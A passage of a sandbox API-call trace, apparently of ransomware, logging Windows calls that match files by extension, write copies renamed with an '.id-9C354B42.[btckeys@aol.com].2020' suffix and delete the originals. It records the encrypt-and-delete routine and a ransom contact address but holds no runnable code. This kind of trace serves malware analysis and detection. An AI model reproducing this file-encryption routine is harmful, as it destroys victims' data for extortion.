(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.451] lstrlenW (lpString=".jpg") returned 4 [0067.451] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.451] lstrlenW (lpString=".doc") returned 4 [0067.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.451] lstrlenW (lpString=".docx") returned 5 [0067.451] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0067.451] lstrlenW (lpString=".pdf") returned 4 [0067.451] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.451] lstrlenW (lpString=".xls") returned 4 [0067.451] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.451] lstrlenW (lpString=".xlsx") returned 5 [0067.451] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0067.451] lstrlenW (lpString=".ppt") returned 4 [0067.451] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.451] lstrlenW (lpString=".zip") returned 4 [0067.451] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.451] lstrlenW (lpString=".rar") returned 4 [0067.451] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.451] lstrlenW (lpString=".bz2") returned 4 [0067.451] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.451] lstrlenW (lpString=".7z") returned 3 [0067.451] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.452] lstrlenW (lpString=".dbf") returned 4 [0067.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.452] lstrlenW (lpString=".1cd") returned 4 [0067.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0067.452] lstrlenW (lpString=".jpg") returned 4 [0067.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.452] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0067.452] lstrlenW (lpString="kor-kor.xml") returned 11 [0067.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0067.452] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=392) returned 1 [0067.452] CloseHandle (hObject=0x1d4) returned 1 [0067.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0067.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0067.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0067.453] lstrlenW (lpString=".doc") returned 4 [0067.453] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.453] lstrlenW (lpString=".docx") returned 5 [0067.453] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0067.453] lstrlenW (lpString=".pdf") returned 4 [0067.453] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.453] lstrlenW (lpString=".xls") returned 4 [0067.453] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.453] lstrlenW (lpString=".xlsx") returned 5 [0067.453] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0067.453] lstrlenW (lpString=".ppt") returned 4 [0067.453] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0067.453] lstrlenW (lpString=".zip") returned 4 [0067.453] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.453] lstrlenW (lpString=".rar") returned 4 [0067.453] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.454] lstrlenW (lpString=".bz2") returned 4 [0067.454] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.454] lstrlenW (lpString=".7z") returned 3 [0067.454] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0067.454] lstrlenW (lpString=".dbf") returned 4 [0067.454] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.066] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.066] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.066] GetLastError () returned 0x0 [0070.066] ReadFile (in: hFile=0x1b0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x795, lpOverlapped=0x0) returned 1 [0070.067] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0070.068] ReadFile (in: hFile=0x1b0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0070.069] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0070.069] SetEndOfFile (hFile=0x1e0) returned 1 [0070.069] CloseHandle (hObject=0x1e0) returned 1 [0070.070] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.070] SetEndOfFile (hFile=0x1b0) returned 1 [0070.070] CloseHandle (hObject=0x1b0) returned 1 [0070.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.071] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0070.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.071] lstrlenW (lpString=".doc") returned 4 [0070.071] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0070.071] lstrlenW (lpString=".docx") returned 5 [0070.071] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0070.071] lstrlenW (lpString=".pdf") returned 4 [0070.071] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0070.071] lstrlenW (lpString=".xls") returned 4 [0070.071] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0070.072] lstrlenW (lpString=".xlsx") returned 5 [0070.072] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0070.072] lstrlenW (lpString=".ppt") returned 4 [0070.072] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0070.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.072] lstrlenW (lpString=".zip") returned 4 [0070.072] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0070.072] lstrlenW (lpString=".rar") returned 4 [0070.072] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0070.072] lstrlenW (lpString=".bz2") returned 4 [0070.072] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0070.072] lstrlenW (lpString=".7z") returned 3 [0070.072] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0070.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.072] lstrlenW (lpString=".dbf") returned 4 [0070.072] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0070.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.072] lstrlenW (lpString=".1cd") returned 4 [0070.072] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0070.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.072] lstrlenW (lpString=".jpg") returned 4 [0070.072] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0070.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.072] lstrlenW (lpString=".doc") returned 4 [0070.072] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0070.072] lstrlenW (lpString=".docx") returned 5 [0070.073] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0070.073] lstrlenW (lpString=".pdf") returned 4 [0070.073] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0070.073] lstrlenW (lpString=".xls") returned 4 [0070.073] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0070.073] lstrlenW (lpString=".xlsx") returned 5 [0070.073] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0070.073] lstrlenW (lpString=".ppt") returned 4 [0070.073] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0070.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.073] lstrlenW (lpString=".zip") returned 4 [0070.073] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0070.073] lstrlenW (lpString=".rar") returned 4 [0070.073] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0070.073] lstrlenW (lpString=".bz2") returned 4 [0070.073] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0070.073] lstrlenW (lpString=".7z") returned 3 [0070.073] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0070.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.073] lstrlenW (lpString=".dbf") returned 4 [0070.073] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0070.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.073] lstrlenW (lpString=".1cd") returned 4 [0070.073] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0070.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0070.074] lstrlenW (lpString=".jpg") returned 4 [0070.074] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0070.074] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0070.074] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0070.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.074] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=913) returned 1 [0070.074] CloseHandle (hObject=0x1b0) returned 1 [0070.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0070.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.075] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.075] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.077] GetLastError () returned 0x0 [0070.077] ReadFile (in: hFile=0x1b0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x391, lpOverlapped=0x0) returned 1 [0070.079] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0070.080] ReadFile (in: hFile=0x1b0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0070.081] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xee, lpOverlapped=0x0) returned 1 [0070.081] SetEndOfFile (hFile=0x1e0) returned 1 [0070.081] CloseHandle (hObject=0x1e0) returned 1 [0070.090] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.090] SetEndOfFile (hFile=0x1b0) returned 1 [0070.091] CloseHandle (hObject=0x1b0) returned 1 [0070.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.092] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0070.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.092] lstrlenW (lpString=".doc") returned 4 [0070.092] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.092] lstrlenW (lpString=".docx") returned 5 [0070.092] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0070.092] lstrlenW (lpString=".pdf") returned 4 [0070.092] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.092] lstrlenW (lpString=".xls") returned 4 [0070.092] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.092] lstrlenW (lpString=".xlsx") returned 5 [0070.092] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0070.092] lstrlenW (lpString=".ppt") returned 4 [0070.092] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.093] lstrlenW (lpString=".zip") returned 4 [0070.093] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.093] lstrlenW (lpString=".rar") returned 4 [0070.093] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString=".bz2") returned 4 [0070.093] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString=".7z") returned 3 [0070.093] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.093] lstrlenW (lpString=".dbf") returned 4 [0070.093] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.093] lstrlenW (lpString=".1cd") returned 4 [0070.093] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.093] lstrlenW (lpString=".jpg") returned 4 [0070.093] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.093] lstrlenW (lpString=".doc") returned 4 [0070.093] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString=".docx") returned 5 [0070.093] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0070.093] lstrlenW (lpString=".pdf") returned 4 [0070.093] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString=".xls") returned 4 [0070.093] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString=".xlsx") returned 5 [0070.093] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0070.093] lstrlenW (lpString=".ppt") returned 4 [0070.093] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.093] lstrlenW (lpString=".zip") returned 4 [0070.094] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.094] lstrlenW (lpString=".rar") returned 4 [0070.094] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.094] lstrlenW (lpString=".bz2") returned 4 [0070.094] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.094] lstrlenW (lpString=".7z") returned 3 [0070.094] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.094] lstrlenW (lpString=".dbf") returned 4 [0070.094] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.094] lstrlenW (lpString=".1cd") returned 4 [0070.094] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0070.094] lstrlenW (lpString=".jpg") returned 4 [0070.094] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0070.094] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0070.094] lstrlenW (lpString="SETUP.XML") returned 9 [0070.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.095] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1452) returned 1 [0070.095] CloseHandle (hObject=0x1b0) returned 1 [0070.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0070.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.096] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.096] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0070.096] GetLastError () returned 0x0 [0070.096] ReadFile (in: hFile=0x1b0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x5ac, lpOverlapped=0x0) returned 1 [0070.517] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0070.519] ReadFile (in: hFile=0x1b0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0070.519] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0070.519] SetEndOfFile (hFile=0x1e0) returned 1 [0070.520] CloseHandle (hObject=0x1e0) returned 1 [0070.521] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.521] SetEndOfFile (hFile=0x1b0) returned 1 [0070.523] CloseHandle (hObject=0x1b0) returned 1 [0070.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.523] DeleteFileW 